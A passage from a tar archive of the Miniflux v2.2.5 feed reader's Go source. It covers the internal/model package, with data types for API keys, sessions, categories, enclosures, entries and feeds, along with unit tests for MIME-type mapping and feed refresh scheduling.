}
}
v2-2.2.5/internal/model/ 0000775 0000000 0000000 00000000000 14743520056 0014771 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/model/api_key.go 0000664 0000000 0000000 00000001316 14743520056 0016742 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"time"
"miniflux.app/v2/internal/crypto"
)
// APIKey represents an application API key.
type APIKey struct {
ID int64
UserID int64
Token string
Description string
LastUsedAt *time.Time
CreatedAt time.Time
}
// NewAPIKey initializes a new APIKey.
func NewAPIKey(userID int64, description string) *APIKey {
return &APIKey{
UserID: userID,
Token: crypto.GenerateRandomString(32),
Description: description,
}
}
// APIKeys represents a collection of API Key.
type APIKeys []*APIKey
v2-2.2.5/internal/model/app_session.go 0000664 0000000 0000000 00000003703 14743520056 0017646 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"database/sql/driver"
"encoding/json"
"errors"
"fmt"
)
// SessionData represents the data attached to the session.
type SessionData struct {
CSRF string `json:"csrf"`
OAuth2State string `json:"oauth2_state"`
OAuth2CodeVerifier string `json:"oauth2_code_verifier"`
FlashMessage string `json:"flash_message"`
FlashErrorMessage string `json:"flash_error_message"`
Language string `json:"language"`
Theme string `json:"theme"`
PocketRequestToken string `json:"pocket_request_token"`
LastForceRefresh string `json:"last_force_refresh"`
WebAuthnSessionData WebAuthnSession `json:"webauthn_session_data"`
}
func (s SessionData) String() string {
return fmt.Sprintf(`CSRF=%q, OAuth2State=%q, OAuth2CodeVerifier=%q, FlashMsg=%q, FlashErrMsg=%q, Lang=%q, Theme=%q, PocketTkn=%q, LastForceRefresh=%s, WebAuthnSession=%q`,
s.CSRF,
s.OAuth2State,
s.OAuth2CodeVerifier,
s.FlashMessage,
s.FlashErrorMessage,
s.Language,
s.Theme,
s.PocketRequestToken,
s.LastForceRefresh,
s.WebAuthnSessionData,
)
}
// Value converts the session data to JSON.
func (s SessionData) Value() (driver.Value, error) {
j, err := json.Marshal(s)
return j, err
}
// Scan converts raw JSON data.
func (s *SessionData) Scan(src interface{}) error {
source, ok := src.([]byte)
if !ok {
return errors.New("session: unable to assert type of src")
}
err := json.Unmarshal(source, s)
if err != nil {
return fmt.Errorf("session: %v", err)
}
return err
}
// Session represents a session in the system.
type Session struct {
ID string
Data *SessionData
}
func (s *Session) String() string {
return fmt.Sprintf(`ID=%q, Data={%v}`, s.ID, s.Data)
}
v2-2.2.5/internal/model/categories_sort_options.go 0000664 0000000 0000000 00000000556 14743520056 0022275 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
func CategoriesSortingOptions() map[string]string {
return map[string]string{
"unread_count": "form.prefs.select.unread_count",
"alphabetical": "form.prefs.select.alphabetical",
}
}
v2-2.2.5/internal/model/category.go 0000664 0000000 0000000 00000002040 14743520056 0017131 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import "fmt"
// Category represents a feed category.
type Category struct {
ID int64 `json:"id"`
Title string `json:"title"`
UserID int64 `json:"user_id"`
HideGlobally bool `json:"hide_globally"`
FeedCount *int `json:"feed_count,omitempty"`
TotalUnread *int `json:"total_unread,omitempty"`
}
func (c *Category) String() string {
return fmt.Sprintf("ID=%d, UserID=%d, Title=%s", c.ID, c.UserID, c.Title)
}
// CategoryRequest represents the request to create or update a category.
type CategoryRequest struct {
Title string `json:"title"`
HideGlobally string `json:"hide_globally"`
}
// Patch updates category fields.
func (cr *CategoryRequest) Patch(category *Category) {
category.Title = cr.Title
category.HideGlobally = cr.HideGlobally != ""
}
// Categories represents a list of categories.
type Categories []*Category
v2-2.2.5/internal/model/enclosure.go 0000664 0000000 0000000 00000006006 14743520056 0017321 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"strings"
"github.com/gorilla/mux"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/mediaproxy"
"miniflux.app/v2/internal/urllib"
)
// Enclosure represents an attachment.
type Enclosure struct {
ID int64 `json:"id"`
UserID int64 `json:"user_id"`
EntryID int64 `json:"entry_id"`
URL string `json:"url"`
MimeType string `json:"mime_type"`
Size int64 `json:"size"`
MediaProgression int64 `json:"media_progression"`
}
type EnclosureUpdateRequest struct {
MediaProgression int64 `json:"media_progression"`
}
// Html5MimeType will modify the actual MimeType to allow direct playback from HTML5 player for some kind of MimeType
func (e Enclosure) Html5MimeType() string {
if e.MimeType == "video/m4v" {
return "video/x-m4v"
}
return e.MimeType
}
func (e *Enclosure) IsAudio() bool {
return strings.HasPrefix(strings.ToLower(e.MimeType), "audio/")
}
func (e *Enclosure) IsVideo() bool {
return strings.HasPrefix(strings.ToLower(e.MimeType), "video/")
}
func (e *Enclosure) IsImage() bool {
mimeType := strings.ToLower(e.MimeType)
mediaURL := strings.ToLower(e.URL)
return strings.HasPrefix(mimeType, "image/") || strings.HasSuffix(mediaURL, ".jpg") || strings.HasSuffix(mediaURL, ".jpeg") || strings.HasSuffix(mediaURL, ".png") || strings.HasSuffix(mediaURL, ".gif")
}
// EnclosureList represents a list of attachments.
type EnclosureList []*Enclosure
// FindMediaPlayerEnclosure returns the first enclosure that can be played by a media player.
func (el EnclosureList) FindMediaPlayerEnclosure() *Enclosure {
for _, enclosure := range el {
if enclosure.URL != "" && strings.Contains(enclosure.MimeType, "audio/") || strings.Contains(enclosure.MimeType, "video/") {
return enclosure
}
}
return nil
}
func (el EnclosureList) ContainsAudioOrVideo() bool {
for _, enclosure := range el {
if strings.Contains(enclosure.MimeType, "audio/") || strings.Contains(enclosure.MimeType, "video/") {
return true
}
}
return false
}
func (el EnclosureList) ProxifyEnclosureURL(router *mux.Router) {
proxyOption := config.Opts.MediaProxyMode()
if proxyOption == "all" || proxyOption != "none" {
for i := range el {
if urllib.IsHTTPS(el[i].URL) {
for _, mediaType := range config.Opts.MediaProxyResourceTypes() {
if strings.HasPrefix(el[i].MimeType, mediaType+"/") {
el[i].URL = mediaproxy.ProxifyAbsoluteURL(router, el[i].URL)
break
}
}
}
}
}
}
func (e *Enclosure) ProxifyEnclosureURL(router *mux.Router) {
proxyOption := config.Opts.MediaProxyMode()
if proxyOption == "all" || proxyOption != "none" && !urllib.IsHTTPS(e.URL) {
for _, mediaType := range config.Opts.MediaProxyResourceTypes() {
if strings.HasPrefix(e.MimeType, mediaType+"/") {
e.URL = mediaproxy.ProxifyAbsoluteURL(router, e.URL)
break
}
}
}
}
v2-2.2.5/internal/model/enclosure_test.go 0000664 0000000 0000000 00000002257 14743520056 0020364 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model
import (
"testing"
)
func TestEnclosure_Html5MimeTypeGivesOriginalMimeType(t *testing.T) {
enclosure := Enclosure{MimeType: "thing/thisMimeTypeIsNotExpectedToBeReplaced"}
if enclosure.Html5MimeType() != enclosure.MimeType {
t.Fatalf(
"HTML5 MimeType must provide original MimeType if not explicitly Replaced. Got %s ,expected '%s' ",
enclosure.Html5MimeType(),
enclosure.MimeType,
)
}
}
func TestEnclosure_Html5MimeTypeReplaceStandardM4vByAppleSpecificMimeType(t *testing.T) {
enclosure := Enclosure{MimeType: "video/m4v"}
if enclosure.Html5MimeType() != "video/x-m4v" {
// Solution from this stackoverflow discussion:
// https://stackoverflow.com/questions/15277147/m4v-mimetype-video-mp4-or-video-m4v/66945470#66945470
// tested at the time of this commit (06/2023) on latest Firefox & Vivaldi on this feed
// https://www.florenceporcel.com/podcast/lfhdu.xml
t.Fatalf(
"HTML5 MimeType must be replaced by 'video/x-m4v' when originally video/m4v to ensure playbacks in brownser. Got '%s'",
enclosure.Html5MimeType(),
)
}
}
v2-2.2.5/internal/model/entry.go 0000664 0000000 0000000 00000005331 14743520056 0016463 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"time"
)
// Entry statuses and default sorting order.
const (
EntryStatusUnread = "unread"
EntryStatusRead = "read"
EntryStatusRemoved = "removed"
DefaultSortingOrder = "published_at"
DefaultSortingDirection = "asc"
)
// Entry represents a feed item in the system.
type Entry struct {
ID int64 `json:"id"`
UserID int64 `json:"user_id"`
FeedID int64 `json:"feed_id"`
Status string `json:"status"`
Hash string `json:"hash"`
Title string `json:"title"`
URL string `json:"url"`
CommentsURL string `json:"comments_url"`
Date time.Time `json:"published_at"`
CreatedAt time.Time `json:"created_at"`
ChangedAt time.Time `json:"changed_at"`
Content string `json:"content"`
Author string `json:"author"`
ShareCode string `json:"share_code"`
Starred bool `json:"starred"`
ReadingTime int `json:"reading_time"`
Enclosures EnclosureList `json:"enclosures"`
Feed *Feed `json:"feed,omitempty"`
Tags []string `json:"tags"`
}
func NewEntry() *Entry {
return &Entry{
Enclosures: make(EnclosureList, 0),
Tags: make([]string, 0),
Feed: &Feed{
Category: &Category{},
Icon: &FeedIcon{},
},
}
}
// ShouldMarkAsReadOnView Return whether the entry should be marked as viewed considering all user settings and entry state.
func (e *Entry) ShouldMarkAsReadOnView(user *User) bool {
// Already read, no need to mark as read again. Removed entries are not marked as read
if e.Status != EntryStatusUnread {
return false
}
// There is an enclosure, markAsRead will happen at enclosure completion time, no need to mark as read on view
if user.MarkReadOnMediaPlayerCompletion && e.Enclosures.ContainsAudioOrVideo() {
return false
}
// The user wants to mark as read on view
return user.MarkReadOnView
}
// Entries represents a list of entries.
type Entries []*Entry
// EntriesStatusUpdateRequest represents a request to change entries status.
type EntriesStatusUpdateRequest struct {
EntryIDs []int64 `json:"entry_ids"`
Status string `json:"status"`
}
// EntryUpdateRequest represents a request to update an entry.
type EntryUpdateRequest struct {
Title *string `json:"title"`
Content *string `json:"content"`
}
func (e *EntryUpdateRequest) Patch(entry *Entry) {
if e.Title != nil && *e.Title != "" {
entry.Title = *e.Title
}
if e.Content != nil && *e.Content != "" {
entry.Content = *e.Content
}
}
v2-2.2.5/internal/model/feed.go 0000664 0000000 0000000 00000022651 14743520056 0016231 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"fmt"
"io"
"math"
"time"
"miniflux.app/v2/internal/config"
)
// List of supported schedulers.
const (
SchedulerRoundRobin = "round_robin"
SchedulerEntryFrequency = "entry_frequency"
// Default settings for the feed query builder
DefaultFeedSorting = "parsing_error_count"
DefaultFeedSortingDirection = "desc"
)
// Feed represents a feed in the application.
type Feed struct {
ID int64 `json:"id"`
UserID int64 `json:"user_id"`
FeedURL string `json:"feed_url"`
SiteURL string `json:"site_url"`
Title string `json:"title"`
Description string `json:"description"`
CheckedAt time.Time `json:"checked_at"`
NextCheckAt time.Time `json:"next_check_at"`
EtagHeader string `json:"etag_header"`
LastModifiedHeader string `json:"last_modified_header"`
ParsingErrorMsg string `json:"parsing_error_message"`
ParsingErrorCount int `json:"parsing_error_count"`
ScraperRules string `json:"scraper_rules"`
RewriteRules string `json:"rewrite_rules"`
Crawler bool `json:"crawler"`
BlocklistRules string `json:"blocklist_rules"`
KeeplistRules string `json:"keeplist_rules"`
UrlRewriteRules string `json:"urlrewrite_rules"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
Username string `json:"username"`
Password string `json:"password"`
Disabled bool `json:"disabled"`
NoMediaPlayer bool `json:"no_media_player"`
IgnoreHTTPCache bool `json:"ignore_http_cache"`
AllowSelfSignedCertificates bool `json:"allow_self_signed_certificates"`
FetchViaProxy bool `json:"fetch_via_proxy"`
HideGlobally bool `json:"hide_globally"`
DisableHTTP2 bool `json:"disable_http2"`
AppriseServiceURLs string `json:"apprise_service_urls"`
NtfyEnabled bool `json:"ntfy_enabled"`
NtfyPriority int `json:"ntfy_priority"`
// Non-persisted attributes
Category *Category `json:"category,omitempty"`
Icon *FeedIcon `json:"icon"`
Entries Entries `json:"entries,omitempty"`
// Internal attributes (not exposed in the API and not persisted in the database)
TTL int `json:"-"`
IconURL string `json:"-"`
UnreadCount int `json:"-"`
ReadCount int `json:"-"`
NumberOfVisibleEntries int `json:"-"`
}
type FeedCounters struct {
ReadCounters map[int64]int `json:"reads"`
UnreadCounters map[int64]int `json:"unreads"`
}
func (f *Feed) String() string {
return fmt.Sprintf("ID=%d, UserID=%d, FeedURL=%s, SiteURL=%s, Title=%s, Category={%s}",
f.ID,
f.UserID,
f.FeedURL,
f.SiteURL,
f.Title,
f.Category,
)
}
// WithCategoryID initializes the category attribute of the feed.
func (f *Feed) WithCategoryID(categoryID int64) {
f.Category = &Category{ID: categoryID}
}
// WithTranslatedErrorMessage adds a new error message and increment the error counter.
func (f *Feed) WithTranslatedErrorMessage(message string) {
f.ParsingErrorCount++
f.ParsingErrorMsg = message
}
// ResetErrorCounter removes all previous errors.
func (f *Feed) ResetErrorCounter() {
f.ParsingErrorCount = 0
f.ParsingErrorMsg = ""
}
// CheckedNow set attribute values when the feed is refreshed.
func (f *Feed) CheckedNow() {
f.CheckedAt = time.Now()
if f.SiteURL == "" {
f.SiteURL = f.FeedURL
}
}
// ScheduleNextCheck set "next_check_at" of a feed based on the scheduler selected from the configuration.
func (f *Feed) ScheduleNextCheck(weeklyCount int, refreshDelayInMinutes int) {
f.TTL = refreshDelayInMinutes
// Default to the global config Polling Frequency.
intervalMinutes := config.Opts.SchedulerRoundRobinMinInterval()
if config.Opts.PollingScheduler() == SchedulerEntryFrequency {
if weeklyCount <= 0 {
intervalMinutes = config.Opts.SchedulerEntryFrequencyMaxInterval()
} else {
intervalMinutes = int(math.Round(float64(7*24*60) / float64(weeklyCount*config.Opts.SchedulerEntryFrequencyFactor())))
intervalMinutes = min(intervalMinutes, config.Opts.SchedulerEntryFrequencyMaxInterval())
intervalMinutes = max(intervalMinutes, config.Opts.SchedulerEntryFrequencyMinInterval())
}
}
// If the feed has a TTL or a Retry-After defined, we use it to make sure we don't check it too often.
if refreshDelayInMinutes > 0 && refreshDelayInMinutes > intervalMinutes {
intervalMinutes = refreshDelayInMinutes
}
f.NextCheckAt = time.Now().Add(time.Minute * time.Duration(intervalMinutes))
}
// FeedCreationRequest represents the request to create a feed.
type FeedCreationRequest struct {
FeedURL string `json:"feed_url"`
CategoryID int64 `json:"category_id"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
Username string `json:"username"`
Password string `json:"password"`
Crawler bool `json:"crawler"`
Disabled bool `json:"disabled"`
NoMediaPlayer bool `json:"no_media_player"`
IgnoreHTTPCache bool `json:"ignore_http_cache"`
AllowSelfSignedCertificates bool `json:"allow_self_signed_certificates"`
FetchViaProxy bool `json:"fetch_via_proxy"`
ScraperRules string `json:"scraper_rules"`
RewriteRules string `json:"rewrite_rules"`
BlocklistRules string `json:"blocklist_rules"`
KeeplistRules string `json:"keeplist_rules"`
HideGlobally bool `json:"hide_globally"`
UrlRewriteRules string `json:"urlrewrite_rules"`
DisableHTTP2 bool `json:"disable_http2"`
}
type FeedCreationRequestFromSubscriptionDiscovery struct {
Content io.ReadSeeker
ETag string
LastModified string
FeedCreationRequest
}
// FeedModificationRequest represents the request to update a feed.
type FeedModificationRequest struct {
FeedURL *string `json:"feed_url"`
SiteURL *string `json:"site_url"`
Title *string `json:"title"`
Description *string `json:"description"`
ScraperRules *string `json:"scraper_rules"`
RewriteRules *string `json:"rewrite_rules"`
BlocklistRules *string `json:"blocklist_rules"`
KeeplistRules *string `json:"keeplist_rules"`
UrlRewriteRules *string `json:"urlrewrite_rules"`
Crawler *bool `json:"crawler"`
UserAgent *string `json:"user_agent"`
Cookie *string `json:"cookie"`
Username *string `json:"username"`
Password *string `json:"password"`
CategoryID *int64 `json:"category_id"`
Disabled *bool `json:"disabled"`
NoMediaPlayer *bool `json:"no_media_player"`
IgnoreHTTPCache *bool `json:"ignore_http_cache"`
AllowSelfSignedCertificates *bool `json:"allow_self_signed_certificates"`
FetchViaProxy *bool `json:"fetch_via_proxy"`
HideGlobally *bool `json:"hide_globally"`
DisableHTTP2 *bool `json:"disable_http2"`
}
// Patch updates a feed with modified values.
func (f *FeedModificationRequest) Patch(feed *Feed) {
if f.FeedURL != nil && *f.FeedURL != "" {
feed.FeedURL = *f.FeedURL
}
if f.SiteURL != nil && *f.SiteURL != "" {
feed.SiteURL = *f.SiteURL
}
if f.Title != nil && *f.Title != "" {
feed.Title = *f.Title
}
if f.Description != nil && *f.Description != "" {
feed.Description = *f.Description
}
if f.ScraperRules != nil {
feed.ScraperRules = *f.ScraperRules
}
if f.RewriteRules != nil {
feed.RewriteRules = *f.RewriteRules
}
if f.KeeplistRules != nil {
feed.KeeplistRules = *f.KeeplistRules
}
if f.UrlRewriteRules != nil {
feed.UrlRewriteRules = *f.UrlRewriteRules
}
if f.BlocklistRules != nil {
feed.BlocklistRules = *f.BlocklistRules
}
if f.Crawler != nil {
feed.Crawler = *f.Crawler
}
if f.UserAgent != nil {
feed.UserAgent = *f.UserAgent
}
if f.Cookie != nil {
feed.Cookie = *f.Cookie
}
if f.Username != nil {
feed.Username = *f.Username
}
if f.Password != nil {
feed.Password = *f.Password
}
if f.CategoryID != nil && *f.CategoryID > 0 {
feed.Category.ID = *f.CategoryID
}
if f.Disabled != nil {
feed.Disabled = *f.Disabled
}
if f.NoMediaPlayer != nil {
feed.NoMediaPlayer = *f.NoMediaPlayer
}
if f.IgnoreHTTPCache != nil {
feed.IgnoreHTTPCache = *f.IgnoreHTTPCache
}
if f.AllowSelfSignedCertificates != nil {
feed.AllowSelfSignedCertificates = *f.AllowSelfSignedCertificates
}
if f.FetchViaProxy != nil {
feed.FetchViaProxy = *f.FetchViaProxy
}
if f.HideGlobally != nil {
feed.HideGlobally = *f.HideGlobally
}
if f.DisableHTTP2 != nil {
feed.DisableHTTP2 = *f.DisableHTTP2
}
}
// Feeds is a list of feed
type Feeds []*Feed
v2-2.2.5/internal/model/feed_test.go 0000664 0000000 0000000 00000023742 14743520056 0017272 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"fmt"
"os"
"testing"
"time"
"miniflux.app/v2/internal/config"
)
const (
largeWeeklyCount = 10080
noRefreshDelay = 0
)
func TestFeedCategorySetter(t *testing.T) {
feed := &Feed{}
feed.WithCategoryID(int64(123))
if feed.Category == nil {
t.Fatal(`The category field should not be null`)
}
if feed.Category.ID != int64(123) {
t.Error(`The category ID must be set`)
}
}
func TestFeedErrorCounter(t *testing.T) {
feed := &Feed{}
feed.WithTranslatedErrorMessage("Some Error")
if feed.ParsingErrorMsg != "Some Error" {
t.Error(`The error message must be set`)
}
if feed.ParsingErrorCount != 1 {
t.Error(`The error counter must be set to 1`)
}
feed.ResetErrorCounter()
if feed.ParsingErrorMsg != "" {
t.Error(`The error message must be removed`)
}
if feed.ParsingErrorCount != 0 {
t.Error(`The error counter must be set to 0`)
}
}
func TestFeedCheckedNow(t *testing.T) {
feed := &Feed{}
feed.FeedURL = "https://example.org/feed"
feed.CheckedNow()
if feed.SiteURL != feed.FeedURL {
t.Error(`The site URL must not be empty`)
}
if feed.CheckedAt.IsZero() {
t.Error(`The checked date must be set`)
}
}
func checkTargetInterval(t *testing.T, feed *Feed, targetInterval int, timeBefore time.Time, message string) {
if feed.NextCheckAt.Before(timeBefore.Add(time.Minute * time.Duration(targetInterval))) {
t.Errorf(`The next_check_at should be after timeBefore + %s`, message)
}
if feed.NextCheckAt.After(time.Now().Add(time.Minute * time.Duration(targetInterval))) {
t.Errorf(`The next_check_at should be before now + %s`, message)
}
}
func TestFeedScheduleNextCheckRoundRobinDefault(t *testing.T) {
os.Clearenv()
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
feed.ScheduleNextCheck(0, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := config.Opts.SchedulerRoundRobinMinInterval()
checkTargetInterval(t, feed, targetInterval, timeBefore, "TestFeedScheduleNextCheckRoundRobinDefault")
}
func TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMinInterval(t *testing.T) {
os.Clearenv()
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
feed.ScheduleNextCheck(0, config.Opts.SchedulerRoundRobinMinInterval()+30)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
expectedInterval := config.Opts.SchedulerRoundRobinMinInterval() + 30
checkTargetInterval(t, feed, expectedInterval, timeBefore, "TestFeedScheduleNextCheckRoundRobinWithRefreshDelayAboveMinInterval")
}
func TestFeedScheduleNextCheckRoundRobinWithRefreshDelayBelowMinInterval(t *testing.T) {
os.Clearenv()
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
feed.ScheduleNextCheck(0, config.Opts.SchedulerRoundRobinMinInterval()-30)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
expectedInterval := config.Opts.SchedulerRoundRobinMinInterval()
checkTargetInterval(t, feed, expectedInterval, timeBefore, "TestFeedScheduleNextCheckRoundRobinWithRefreshDelayBelowMinInterval")
}
func TestFeedScheduleNextCheckRoundRobinMinInterval(t *testing.T) {
minInterval := 1
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "round_robin")
os.Setenv("SCHEDULER_ROUND_ROBIN_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
feed.ScheduleNextCheck(0, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
expectedInterval := minInterval
checkTargetInterval(t, feed, expectedInterval, timeBefore, "TestFeedScheduleNextCheckRoundRobinMinInterval")
}
func TestFeedScheduleNextCheckEntryFrequencyMaxInterval(t *testing.T) {
maxInterval := 5
minInterval := 1
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL", fmt.Sprintf("%d", maxInterval))
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
// Use a very small weekly count to trigger the max interval
weeklyCount := 1
feed.ScheduleNextCheck(weeklyCount, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := maxInterval
checkTargetInterval(t, feed, targetInterval, timeBefore, "entry frequency max interval")
}
func TestFeedScheduleNextCheckEntryFrequencyMaxIntervalZeroWeeklyCount(t *testing.T) {
maxInterval := 5
minInterval := 1
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL", fmt.Sprintf("%d", maxInterval))
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
// Use a very small weekly count to trigger the max interval
weeklyCount := 0
feed.ScheduleNextCheck(weeklyCount, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := maxInterval
checkTargetInterval(t, feed, targetInterval, timeBefore, "entry frequency max interval")
}
func TestFeedScheduleNextCheckEntryFrequencyMinInterval(t *testing.T) {
maxInterval := 500
minInterval := 100
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL", fmt.Sprintf("%d", maxInterval))
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
// Use a very large weekly count to trigger the min interval
weeklyCount := largeWeeklyCount
feed.ScheduleNextCheck(weeklyCount, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := minInterval
checkTargetInterval(t, feed, targetInterval, timeBefore, "entry frequency min interval")
}
func TestFeedScheduleNextCheckEntryFrequencyFactor(t *testing.T) {
factor := 2
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_FACTOR", fmt.Sprintf("%d", factor))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
weeklyCount := 7
feed.ScheduleNextCheck(weeklyCount, noRefreshDelay)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := config.Opts.SchedulerEntryFrequencyMaxInterval() / factor
checkTargetInterval(t, feed, targetInterval, timeBefore, "factor * count")
}
func TestFeedScheduleNextCheckEntryFrequencySmallNewTTL(t *testing.T) {
// If the feed has a TTL defined, we use it to make sure we don't check it too often.
maxInterval := 500
minInterval := 100
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL", fmt.Sprintf("%d", maxInterval))
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
// Use a very large weekly count to trigger the min interval
weeklyCount := largeWeeklyCount
// TTL is smaller than minInterval.
newTTL := minInterval / 2
feed.ScheduleNextCheck(weeklyCount, newTTL)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := minInterval
checkTargetInterval(t, feed, targetInterval, timeBefore, "entry frequency min interval")
if feed.NextCheckAt.Before(timeBefore.Add(time.Minute * time.Duration(newTTL))) {
t.Error(`The next_check_at should be after timeBefore + TTL`)
}
}
func TestFeedScheduleNextCheckEntryFrequencyLargeNewTTL(t *testing.T) {
// If the feed has a TTL defined, we use it to make sure we don't check it too often.
maxInterval := 500
minInterval := 100
os.Clearenv()
os.Setenv("POLLING_SCHEDULER", "entry_frequency")
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL", fmt.Sprintf("%d", maxInterval))
os.Setenv("SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL", fmt.Sprintf("%d", minInterval))
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
timeBefore := time.Now()
feed := &Feed{}
// Use a very large weekly count to trigger the min interval
weeklyCount := largeWeeklyCount
// TTL is larger than minInterval.
newTTL := minInterval * 2
feed.ScheduleNextCheck(weeklyCount, newTTL)
if feed.NextCheckAt.IsZero() {
t.Error(`The next_check_at must be set`)
}
targetInterval := newTTL
checkTargetInterval(t, feed, targetInterval, timeBefore, "TTL")
if feed.NextCheckAt.Before(timeBefore.Add(time.Minute * time.Duration(minInterval))) {
t.Error(`The next_check_at should be after timeBefore + entry frequency min interval`)
}
}
v2-2.2.5/internal/model/home_page.go 0000664 0000000 0000000 00000000716 14743520056 0017250 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
// HomePages returns the list of available home pages.
func HomePages() map[string]string {
return map[string]string{
"unread": "menu.unread",
"starred": "menu.starred",
"history": "menu.history",
"feeds": "menu.feeds",
"categories": "menu.categories",
}
}
v2-2.2.5/internal/model/icon.go 0000664 0000000 0000000 00000001417 14743520056 0016253 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"encoding/base64"
"fmt"
)
// Icon represents a website icon (favicon)
type Icon struct {
ID int64 `json:"id"`
Hash string `json:"hash"`
MimeType string `json:"mime_type"`
Content []byte `json:"-"`
}
